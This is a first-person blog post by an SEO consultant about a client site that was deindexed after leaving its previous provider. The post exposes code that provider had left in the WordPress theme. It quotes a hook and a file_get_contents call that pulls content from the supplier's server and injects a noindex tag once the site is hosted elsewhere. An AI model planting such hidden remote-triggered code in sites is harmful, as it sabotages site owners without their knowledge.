The online marketing world can be somewhat of a wild west in many regards, with SEO at the center of the chaos.
Of the thousands of providers across Australia there are no shortages of promises, case studies and packages available for every business size. The central premise of SEO is that you will get long-term sustained traffic for your investment.
The industry as a whole has a simple paradox that it must deal with, if they do their job properly, they are theoretically not needed anymore, and then stand to lose a customer. Meanwhile, if they do not do their job properly they are guaranteed to lose a customer.
Within 24 hours of one of my SEO clients deciding they were happy enough with their rankings and deciding to pull out of their retainer, one of my other clients had finally finished their 12-month web design and SEO package with their initial provider.
As I was asking myself “how can I adapt my business to allow for sudden client satisfaction,” my other clients were in the process of having their site migrated to my server.
I arrived at my client’s office to begin a day’s work, and we checked the rankings for their site. The migration had been completed a few days prior and had gone through smoothly.
That abysmal feeling of dread came, as we saw that the site couldn’t be found nestled in its top positions for any of it’s search terms anymore.
The weird thing, as I checked for manual penalties or de-indexation by searching site:example.com, it became apparent that not every page had been dropped. Only the homepage so far.
This at least narrowed the search down, and meant that I could check the source code for the homepage, and see if there was anything odd going on.
Sure enough, there it was:
<meta name= “robots” content=”noindex,follow”/>
This line of code tells Google and other search engines to remove the website from their index, rendering it unfindable. It has its time and place in day-to-day web design and marketing, but clearly does not belong on the homepage of a website that is trying to gain traffic and potential customers.
I decided to fix the problem first and then later deal with the lingering question of ‘why has this code suddenly turned up?’
Once the hunt had begun for where exactly this code was generating from, I became less and less convinced that this was some sort of accident.
Searching within any of the website files for ‘noindex’ turned up nothing, almost like the code wasn’t actually in there anywhere. Even downloading the entire set of website files and running them through a dedicated file searching tool, we couldn’t find a single instance of ‘noindex’ anywhere within the website.
Sure enough though, the noindex code was in there somewhere, and not just the front page it would seem. Google had dropped the front page but had not yet gotten around to deindexing the rest of the pages, even though every page had the code.
The webhosting company that oversaw the migration assured me that they had simply taken the site files and placed them on a server, never touching any of the code. They joined the hunt.
We eventually discovered the source of the code; it was both ingenious and simple.
I received an email from the developer in charge of migrating the site:
We have looked through the code and found the following lines in the themes functions.php file…
add_action(‘wp_head’,’sidebar_config’, 1, 3);
$output = file_get_contents(‘http://robots.clients.(*previous suppliers domain*).com.au/’);
Disabling only these has resulted in the nofollow,noindex disappearing.
Note that this specifically references to connect to and retrieve a file from robots.clients.(*previous suppliers domain*).com.au and then output the code into your site.”
As I spoke with the developer, he informed me, that this code is only triggered if the site is no longer being hosted on the previous supplier’s website.
The previous suppliers dismissed it as a mistake, initially trying to tell me that it must have happened during the migration, and then later saying that they may have accidentally left the code in there, who knows.
One thing is for sure, these guys who have been in business much longer than I have, know their game well.
When a client drops me, I ask myself “what could I have done to keep them happier?” and “should I perhaps package my services better?”
When a client drops them, their entire site gets deindexed.
I think I prefer the soul-searching quest to provide value that people don’t walk away from, rather than the vindictive attempt to hedge a sites rankings to my server.